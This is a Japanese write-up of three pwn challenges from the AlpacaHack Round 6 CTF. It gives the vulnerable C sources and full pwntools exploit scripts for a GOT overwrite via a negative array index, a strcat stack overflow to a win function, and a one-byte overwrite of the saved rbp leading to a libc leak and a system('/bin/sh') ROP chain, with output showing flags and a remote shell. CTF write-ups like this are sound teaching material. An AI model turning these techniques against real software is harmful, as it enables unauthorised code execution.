AlpacaHack Round 6 (Pwn)へ参加しました。そのwrite-up記事です。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- 感想
コンテスト概要
2024/11/03(日) 12:00 +09:00 - 11/03(日) 18:00 +09:00の6時間開催でした。他ルールはコンテストページから引用します:
AlpacaHack Round 6 (Pwn) へようこそ!
AlpacaHack は個人戦の CTF を継続して開催する新しいプラットフォームです。
AlpacaHack Round 6 は AlpacaHack で行われる 6 回目の CTF で、Pwn カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 問題作成者は ptr-yudai です!
参加方法
1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。
2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。
注意事項
- AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。
- 問題は運営が想定した難易度の順に並んでいます。
- 問題の配点は解いた人数に応じて変動します。
- フラグフォーマットは Alpaca{...} です。
- 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。
- アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。
- 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。
- 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。
これまでのRound同様に問題は運営が想定した難易度の順に並んでいますと明記されており、並び順で想定難易度が示されました。
結果
正の得点を得ている57人中、476点で19位でした:


また、Certificate箇所から順位の証明書も表示できます:

環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.5011] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 9.0.240925 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.1 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.1 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show pwntools | grep Version: Version: 4.13.0 $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2024.02.14 build: 2b9beef $ pwninit --version pwninit 3.3.1 $ ROPgadget --version Version: ROPgadget v7.3 Author: Jonathan Salwan Author page: https://twitter.com/JonathanSalwan Project page: http://shell-storm.org/project/ROPgadget/ $ docker --version Docker version 27.2.0, build 3ab4256 $
解けた問題
[Pwn] inbound (57 solves, 128 points)
inside-of-bounds
配布ファイルとして、問題本体のinboundと、元ソースのmain.cなどがありました:
$ file *
Dockerfile: ASCII text
compose.yml: ASCII text
inbound: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e9920e6eb161f0ee40de853d38ffad7488f06e7, for GNU/Linux 3.2.0, not stripped
main.c: C source, ASCII text
$ pwn checksec inbound
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
$
main.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int slot[10]; /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int main() { int index, value; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("index: "); scanf("%d", &index); if (index >= 10) { puts("[-] out-of-bounds"); exit(1); } printf("value: "); scanf("%d", &value); slot[index] = value; for (int i = 0; i < 10; i++) printf("slot[%d] = %d\n", i, slot[i]); exit(0); }
次のことが分かります:
- 21行目の
if (index >= 10)分岐でプラス方向の配列外参照は防止していますが、マイナス方向の配列外参照は検証しないままslot[index] = value;を実行しています。 pwn checksec結果がRELRO: Partial RELROであるため、GOT Overwriteができます。
そうなると slot[index] = value 箇所でGOT Overwriteができると win 関数を実行できそうです。pwntoolsの pwn.ELF を使って検証しました:
elf.symbols["slot"] = 0000000000404060 elf.symbols["win"] = 00000000004011d6 elf.got["printf"] = 0000000000404010 elf.got["exit"] = 0000000000404028
got領域は slot グローバル変数よりも若いアドレスへ存在することが分かりました。今回はexit関数のgot内容をwin関数のアドレスへ変更することで、exit(0);箇所で代わりにwin関数へ実行させるようにしました。
index: 箇所への入力は、slotがint(=32-bit整数)型配列であるため、(exit@gotのアドレス - slotの先頭アドレス) / 4 で計算できます。value:箇所へはwin関数のアドレスを渡します。
最終的なソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("inbound") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" print(f"{elf.symbols["slot"] = :016x}") print(f"{elf.symbols["win"] = :016x}") print(f"{elf.got["printf"] = :016x}") print(f"{elf.got["exit"] = :016x}") got_exit = elf.got["exit"] addr_win = elf.symbols["win"] addr_slot = elf.symbols["slot"] slot_index = (got_exit - addr_slot) // 4 print(f"{slot_index = }") def solve(io: pwn.tube): io.sendlineafter(b"index: ", str(slot_index).encode()) io.sendlineafter(b"value: ", str(addr_win).encode()) io.stream() # fmt: off COMMAND = """ b *0x40130B continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行しました:
$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
elf.symbols["slot"] = 0000000000404060
elf.symbols["win"] = 00000000004011d6
elf.got["printf"] = 0000000000404010
elf.got["exit"] = 0000000000404028
slot_index = -14
[+] Opening connection to 198.51.100.1 on port 9999: Done
slot[0] = 0
slot[1] = 0
slot[2] = 0
slot[3] = 0
slot[4] = 0
slot[5] = 0
slot[6] = 0
slot[7] = 0
slot[8] = 0
slot[9] = 0
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
[*] Closed connection to 198.51.100.1 port 9999
フラグを入手できました: Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
[Pwn] catcpy (41 solves, 148 points)
strcat and strcpy are typical functions used in C textbooks.
配布ファイルとして、問題本体のcatcpyと、元ソースのmain.cなどがありました:
$ file *
Dockerfile: ASCII text
catcpy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33f04f4bd45554ad7f1e9136aabe4bfceb98e814, for GNU/Linux 3.2.0, not stripped
compose.yml: ASCII text
main.c: C source, ASCII text
$ pwn checksec catcpy
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
$
main.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char g_buf[0x100]; /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } void get_data() { printf("Data: "); fgets(g_buf, sizeof(g_buf), stdin); } int main() { int choice; char buf[0x100]; memset(buf, 0, sizeof(buf)); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts("1. strcpy\n" "2. strcat"); while (1) { printf("> "); if (scanf("%d%*c", &choice) != 1) return 1; switch (choice) { case 1: get_data(); strcpy(buf, g_buf); break; case 2: get_data(); strcat(buf, g_buf); break; default: return 0; } } }
ローカル変数bufを転送先として、strcpyやstrcatができます。そのためStack Buffer Overflowの脆弱性が存在します。また、pwn checksec結果がStack: No canary foundでありスタックカナリアは存在しないため、main関数の戻りアドレスを問題なく改ざんできます。
ローカル変数のスタックレイアウトと関連する注意点
IDAでmain関数でのローカル変数のレイアウトを調べると、次の内容でした(ローカル変数リネーム後):
-0000000000000110 // Use data definition commands to manipulate stack variables and arguments. -0000000000000110 // Frame size: 110; Saved regs: 8; Purge: 0 -0000000000000110 -0000000000000110 _BYTE buf[268]; -0000000000000004 _DWORD choise; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
次のことが分かります:
- Cソースコード上では
char buf[0x100]定義ですが、スタック中ではもう12バイト多い268バイト分確保されています。 bufから戻りアドレス(IDAでは__return_address表記)の間にchoise変数の領域が存在します。
choise変数が間に存在することが厄介でした。ソルバーを書いている途中に悩みました:
- Stack Buffer Overflowを行おうとして「
__return_address手前までstrcpyやstrcatを行い、その後に戻りアドレス分だけstrcat」とするとうまくいきません。理由は、choise選択のたびに{0x02, 0x00, 0x00, 0x00}のバイト列でchoise領域が上書きされるためです。その後にstrcatをしようとすると、choiseの0x02の直後から追記が始まります。 - そのため「
choise領域と__return_address領域を同時に書き換えるようにstrcat」する必要があります。
もともとのmain関数の戻りアドレスを完全に0埋め
main関数はglibc中の関数から呼ばれるため、main関数の戻りアドレスはglibcのアドレスになります:
pwndbg> p $rip
$1 = (void (*)()) 0x4012e7 <main+8>
pwndbg> retaddr
0x7fffffffe1a8 —▸ 0x7ffff7dc71ca (__libc_start_call_main+122) ◂— mov edi, eax
0x7fffffffe248 —▸ 0x7ffff7dc728b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
0x7fffffffe2a8 —▸ 0x401195 (_start+37) ◂— hlt
pwndbg> k
#0 0x00000000004012e7 in main ()
#1 0x00007ffff7dc71ca in __libc_start_call_main (main=main@entry=0x4012df <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe2c8) at ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x00007ffff7dc728b in __libc_start_main_impl (main=0x4012df <main>, argc=1, argv=0x7fffffffe2c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2b8)
at ../csu/libc-start.c:360
#3 0x0000000000401195 in _start ()
pwndbg>
上述の例だと、0x7ffff7dc71caという47bit分のアドレスです。
一方でwin関数のアドレスは0x401256と23-bit分のみです。スタック中バッファへのコピーで使っているstrcat関数はNUL文字位置で書き込みを停止するため、単純にstrcatでmain関数の戻りアドレスをwin関数へ改ざんしようとしても戻りアドレスの上位分が残ります。例えば0x7fff00401256などになってしまいます。
その問題を解決するため、main関数の戻りアドレスをMSBから1バイトずつ、0x00であるNUL文字で上書きします。その後にwin関数のアドレスへ書き換えれば、win関数へ制御を移すことができます。
ソルバーと実行結果
最終的なソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("catcpy") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" addr_win = elf.symbols["win"] print(f"{addr_win = :08x}") def solve(io: pwn.tube): def write(target_offset: int, target_data: bytes): written_bytes = 0 # 戻りアドレスの間にDWORDのカウンターがあってそこでNUL終端されるので、戻りアドレス改ざんはカウンター含む領域と同時に行う必要がある # 250バイトずつなら2回分割でいける UNIT = 250 io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Data: ", b"A" * UNIT + b"\x00") # 改行文字を無視させる io.sendlineafter(b"> ", b"2") io.sendlineafter( b"Data: ", b"A" * (target_offset - UNIT) + target_data + b"\x00" ) # to ignore newline # mainの戻りアドレスがlibcへのreturnで8バイト分あるので、一旦0埋めする offset_return_address = 268 + 4 + 8 for i in range(7, -1, -1): write(offset_return_address + i, b"B") # 改めて戻りアドレスをwinへ改ざん write(offset_return_address, pwn.pack(addr_win).strip(b"\x00")) io.sendlineafter(b"> ", b"3") # to break loop io.stream() # fmt: off COMMAND = """ b *0x4013F3 # ↓after strcat # b *0x4013DF continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行しました:
$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
addr_win = 00401256
[+] Opening connection to 198.51.100.1 on port 9999: Done
Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t}
[*] Closed connection to 198.51.100.1 port 9999
$
フラグを入手できました: Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t}
[Pwn] wall (21 solves, 200 points)
You've got a message.
配布ファイルとして、問題本体のwallと、元ソースのmain.cなどがありました:
$ file *
Dockerfile: ASCII text
compose.yml: ASCII text
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e, for GNU/Linux 3.2.0, stripped
main.c: C source, ASCII text
wall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa694c825dafc652f2735f6c1327fe29383881f4, for GNU/Linux 3.2.0, not stripped
$ pwn checksec wall
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
$
main.cは次の内容でした:
#include <stdio.h> #include <stdlib.h> char message[4096]; void get_name(void) { char name[128]; printf("What is your name? "); scanf("%128[^\n]%*c", name); printf("Message from %s: \"%s\"\n", name, message); } int main(int argc, char **argv) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Message: "); scanf("%4096[^\n]%*c", message); get_name(); return 0; }
scanf("%128[^\n]%*c", name);で使用しているmaximum field widthの挙動は「\n以外の文字を最大128文字読み込み、その後にNULL文字を書き込み」です。そのためname変数から1バイト超過した位置へ0x00が書き込まれる、off-by-oneエラーが存在します。
なお、message側でも同様にoff-by-oneエラーが存在します。ただmessage側の悪用方法が思いつかなかったため、以降はname側のみoff-by-oneエラーのみに言及します。
pwninitを使ってローカルデバッグ用バイナリを生成
本問題の解法は、後で紹介するように、使用するglibcのバージョンへ依存します。もしもサーバー側で使用されるバージョンとローカルデバッグに使用するバージョンが異なっていると、非常に大変です。場合によってはローカルでは解けない可能性もあります。そのためpwninitを使って、サーバー側と同一のバージョンのglibcを使用するwall_patchedバイナリを生成しました。
本問題は配布ファイルにlibs.so.6が含まれています。そのため、引数なしでpwninitを実行するだけで、うまくやってくれます:
$ pwninit
bin: ./wall
libc: ./libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.35-0ubuntu3.8_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.8_amd64.deb
copying ./wall to ./wall_patched
running patchelf on ./wall_patched
writing solve.py stub
$ ldd wall_patched
linux-vdso.so.1 (0x00007ffcb77fe000)
libc.so.6 => ./libc.so.6 (0x00007f5921229000)
./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007f5921454000)
$
生成したwall_patchedが、pwntoolsのpwn.gdb.debugを使ったデバッグ実行で大活躍しました。
off-by-oneエラーによるrbpレジスタ最下位バイトの書き換えとその影響
IDAでget_name関数のローカル変数のレイアウトを調べると、次の内容でした:
-0000000000000080 // Use data definition commands to manipulate stack variables and arguments. -0000000000000080 // Frame size: 80; Saved regs: 8; Purge: 0 -0000000000000080 -0000000000000080 _BYTE name[128]; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
name変数直後に、保存されたrbpレジスタの値が存在します。off-by-oneエラーによって、get_name関数終了後のrbpレジスタの最下位バイトが0x00へ変化します。
ここで「以前、rbpの一部書き換えを利用する問題があったはず」と調べるとWaniCTF 2021のTarinai?問題でした。rbpレジスタ書き換えやleave命令による影響が分かりやすく説明されています。今回の問題の場合は、get_name関数でrbpレジスタの最下位バイトが0x00へ書き換えられて、呼び出し元のmain関数のleave; ret時の戻りアドレスへ影響します。
rbpレジスタ最下位バイトが0x00になると、main関数の戻りアドレスへどのように影響するのか調べました:
- GDBで
wall_patchedバイナリをデバッグ実行 0x4011db(=main関数のmov rbp, rsp箇所)と、0x401262(=main関数のret箇所)へブレークポイントを設定して実行開始0x4011dbでブレークしたら、その時点でのrspレジスタ値の下位1バイトをメモして、実行続行get_name関数で、128バイトの文字列b"BBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOOPPPPPPPPQQQQQQQQ"を入力0x401262でブレークしたら、main関数の戻り先を確認
ここで、x86 psABIs / x86-64 psABI · GitLabからダウンロードできるSystem V Application Binary Interface資料の3.2.2 The Stack FrameにIn other words, the stack needs to be 16 (32 or 64) byte aligned immediately before the call instruction is executed.とあるため、0x4011db時点でのrspレジスタ最下位1バイトの候補は16バイト単位の16通りです。確認結果は次のようになりました:
0x4011DB時点でのrspレジスタ下位1バイト |
main関数の戻り先アドレス |
|---|---|
0x00 |
(変化なし、正常終了) |
0x10 |
0x0100401090、SIGSEGV |
0x20 |
0x40125c <main+134> mov eax, 0、無限return(rbpの値も変わらず?) |
0x30 |
&name[120]、ROP可能 |
0x40 |
&name[104]、ROP可能 |
0x50 |
&name[88]、ROP可能 |
0x60 |
&name[72]、ROP可能 |
0x70 |
&name[56]、ROP可能 |
0x80 |
&name[40]、ROP可能 |
0x90 |
&name[24]、ROP可能 |
0xa0 |
&name[8]、ROP可能 |
0xb0 |
0x4011d3 <get_name+93> nop、直後のleaveでSIGSEGV |
0xc0 |
0x7f5bf79cb887 <write+23> cmp rax, -0x1000、その後SIGSEGV |
0xd0 |
0x404080(=&message[0])、ただし.bssセクションは実行可能権限がないためSIGSEGV |
0xe0 |
0x5f48bc8d32d3300、SIGSEGV |
0xf0 |
0x7fff118b19e0 or byte ptr [rbx], bl、SIGSEGV |
今回は最終的に、0x4011DB時点でのrspレジスタ下位1バイトが0x70である場合に成功するソルバーを書きました。すなわちソルバーの成功率はです。もしかしたらうまくやれば、もっと成功率を上げられるかもしれません。
1度目のペイロードでのglibcのイメージベース取得とreturn to main
pwninit実行時の出力でちらっと見えていますが、本問題で使われているglibcはバージョン2.35です。__libc_csu_init等がglibc 2.34で削除済みであるため、問題バイナリ単独で使えるROP gadgetは少ないです(詳細: glibc code reading ~なぜ俺達のglibcは後方互換を捨てたのか~ - HackMD)。そのためシェルを取得するためにglibcのイメージベースを取得して、glibc中の豊富なROP gadgetを活用したいところです。
main関数からreturnするときのレジスタ内容を確認すると、rdiレジスタの内容が0x7fcde268e050 (funlockfile)でした。そのため、ROPでprintf@pltを実行させればfunlockfile関数のアドレスが取得でき、そこからglibcのイメージベースを計算できます。printf@pltの後はreturn to mainすることで、改めてROPできるようにします。
ROP gadgetの検索にはROPgadgetを使いました。
実際にペイロードを組んでいるときは、2度目でもROPできるようにRSPを調整しまくっていました。
2度目のペイロードでのシェル取得
1度目のペイロードで、glibcのイメージベースを取得しつつRSPを調整できていたら、system("bin/sh")を実行することでシェルを取得する、2度目のペイロードを組みます。
(2度目のペイロードを組んだ後に1度目ペイロードでのRSP調整をひたすらいじっていたので、2度目の方の記憶があまりないです……)
ソルバーと実行結果
最終的なソルバーです。前述の通り、main関数中でのrspレジスタの最下位1バイトが0x70の場合にのみ成功します:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("wall_patched") libc = pwn.ELF("libc.so.6") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): plt_printf = elf.plt["printf"] addr_main_after_push_rbp = 0x4011DB # mainの「push rbp」の次 # ROPgadget --binary wall > ropgadget_wall.txt rop_ret = 0x40101A # 0x000000000040101a : ret def leak_libc_image_base() -> int: # めちゃくちゃ頑張ってこの辺を調整しまくったら、いつの間にか2回目も成功していた…… payload_name = pwn.flat( [ b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", [ rop_ret, # SIMD命令用のRSPあわせ plt_printf, rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 addr_main_after_push_rbp, # 2回目のROP用のRSP(=RBP)調整 ], ] ) assert len(payload_name) == 128 io.sendlineafter(b"Message: ", b"\x00") io.sendlineafter( b"What is your name? ", payload_name, ) io.recvline_startswith(b"Message from ") # discard addr_funlockfile = pwn.unpack(io.recvn(6).ljust(8, b"\x00")) offset_funlockfile = libc.symbols["funlockfile"] return addr_funlockfile - offset_funlockfile libc.address = leak_libc_image_base() print(f"{libc.address = :08x}") # ROPgadget --binary libc.so.6 > ropgadget_libc.txt rop_pop_rdi = libc.address + 0x2A3E5 # 0x000000000002a3e5 : pop rdi ; ret addr_bin_sh = next(libc.search(b"/bin/sh\x00")) addr_system = libc.symbols["system"] print(f"{rop_pop_rdi = : 08x}") print(f"{addr_bin_sh = : 08x}") print(f"{addr_system = : 08x}") payload_name = pwn.flat( b"DEADBEEF", b"DEADBEEF", b"DEADBEEF", [ rop_pop_rdi, addr_bin_sh, rop_ret, addr_system, ] * 3, b"DEADBEEF", ) assert b"\n" not in payload_name assert len(payload_name) == 128 io.sendlineafter(b"Message: ", b"\x00") io.sendlineafter( b"What is your name? ", payload_name, ) io.recvline_startswith(b"Message from ") # discard io.interactive() # fmt: off COMMAND = """ set follow-fork-mode parent # ↓ main冒頭、「b main」では「mov rbp, rsp」後に止まるのでRBPを調整しづらい。 b *0x4011db continue # ↓rsp調整。1/16待ちはしんどい。 # libc leak成功: 0x50, 0x70 # libc leak失敗: 0x90 set $rsp = ($rsp & 0xFFFFFFFFFFFFFF00) | 0x70 # ↓mainのret b *0x401262 # ↓call get_name # b *0x401257 # ↓scanf # b *0x401252 # b *0x4011ac continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行して成功した場合です:
$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Opening connection to 198.51.100.1 on port 9999: Done
libc.address = 7fa5fdc8f000
rop_pop_rdi = 7fa5fdcb93e5
addr_bin_sh = 7fa5fde67678
addr_system = 7fa5fdcdfd70
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag-6d5a5cb38e69f72e74235bf99e6f1e9b.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag-*
Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}
$
フラグを入手できました: Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}
実行失敗時は、通信先プロセスが異常終了してEOFErrorになったり、無限ループして何も応答が帰らなかったり、mainへ再帰して次の応答が得られたりします:
libc.address = 6761736d44fd rop_pop_rdi = 6761736fe8e2 addr_bin_sh = 6761738acb75 addr_system = 67617372526d
なお、フラグ内容を見るに、想定解法は.bssセクションへのstack pivotingのようです。実はソルバーを書いている途中に、message変数領域へのstack pivotも試していました。しかしprintf関数呼び出し時にスタックを4096バイト以上使うらしく、message領域よりも若い.rodataセグメントへ書き込もうとしてSIGSEGVが出たので諦めました。stack pivotで解く方法も気になります!
感想
- AlpacaHackで初めての、4問中3問正解です!達成感があります!
- pwn分野での、1/16の確率を引く必要があるソルバーを初めて書きました。ローカルデバッグ時はgdbコマンドで設定できますが、リモート相手に何度も実行しているときの「本当にうまくいくんだろうか」という不安は独特のものです!